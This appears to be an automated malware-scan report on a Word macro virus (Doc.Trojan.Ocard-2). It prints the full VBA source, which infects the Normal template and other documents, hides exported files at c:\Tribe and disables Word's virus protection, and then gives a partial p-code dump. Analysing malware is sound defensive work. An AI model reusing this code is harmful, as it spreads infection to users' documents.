MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file is identified as malicious by ClamAV, with critical heuristics indicating the presence of VBA macros and an extracted artifact also flagged by ClamAV. The VBA script within the 'macros.bas' file attempts to export components to 'c:\Tribe' and 'c:\Tribe.frx', potentially for persistence or further execution. The document body text 'Virus !!!' serves as a lure to mask the malicious macro execution.
Heuristics 2
-
ClamAV: Doc.Trojan.Ocard-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ocard-2
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4988 bytes |
SHA-256: a6c12a2196a45197a252a9f2ee2c95a712fd2bfd659d872bd91ce822d202f4dd |
|||
|
Detection
ClamAV:
Win.Trojan.C-286
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
'Draco Malfoy in Norway @ -40
Dim Basilisk As String
Dim Harry As Integer
On Error GoTo Hell
Basilisk = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 33)
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1), 6) <> "'Draco" Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString Basilisk
For Harry = 2 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents.Item(Harry).Name = "Norway" Then
ActiveDocument.VBProject.VBComponents.Item(Harry).Export "c:\Tribe"
SetAttr "c:\Tribe", vbHidden
SetAttr "c:\tribe.frx", vbHidden
End If
Next Harry
End If
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1), 6) <> "'Draco" Then
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString Basilisk
ActiveDocument.VBProject.VBComponents.Import "c:\Tribe"
End If
If Month(Now) = 12 And Day(Now) >= 24 Then
Load Norway
Norway.CommandButton1.Caption = "Merry Christmas " & Application.UserName
Norway.Show
Unload Norway
End If
With Options
.VirusProtection = False
.SaveNormalPrompt = False
.ConfirmConversions = False
End With
Hell:
End Sub
' Processing file: /opt/analyzer/scan_staging/80f24665fdc849fa960cd558a32716fb.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 7214 bytes
' Line #0:
' FuncDefn (Private Sub Document_Close())
' Line #1:
' QuoteRem 0x0000 0x001C "Draco Malfoy in Norway @ -40"
' Line #2:
' Dim
' VarDefn Basilisk (As String)
' Line #3:
' Dim
' VarDefn Harry (As Integer)
' Line #4:
' OnError Hell
' Line #5:
' LitDI2 0x0001
' LitDI2 0x0021
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St Basilisk
' Line #6:
' LitDI2 0x0002
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitDI2 0x0006
' ArgsLd LBound 0x0002
' LitStr 0x0006 "'Draco"
' Ne
' IfBlock
' Line #7:
' Ld Basilisk
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemCall AddFromString 0x0001
' Line #8:
' StartForVariable
' Ld Harry
' EndForVariable
' LitDI2 0x0002
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' MemLd Count
' For
' Line #9:
' Ld Harry
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd New
' LitStr 0x0006 "Norway"
' Eq
' IfBlock
' Line #10:
' LitStr 0x0008 "c:\Tribe"
' Ld Harry
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' ArgsMemCall Export 0x0001
' Line #11:
' LitStr 0x0008 "c:\Tribe"
' Ld vbHidden
' ArgsCall SetAttr 0x0002
' Line #12:
' LitStr 0x000C "c:\tribe.frx"
' Ld vbHidden
' ArgsCall SetAttr 0x0002
' Line #13:
' EndIfBlock
' Line #14:
' StartForVariable
' Ld Harry
' EndForVariable
' NextVar
' Line #15:
' EndIfBlock
' Line #16:
' LitDI2 0x0002
' LitDI2 0x0001
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitDI2 0x0006
' ArgsLd LBound 0x0002
' LitStr 0x0006 "'Draco"
' Ne
' IfBlock
' Line #17:
' Ld Basilisk
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemCall AddFromString 0x0001
' Line #18:
' LitStr 0x0008 "c:\Tribe"
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBC
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.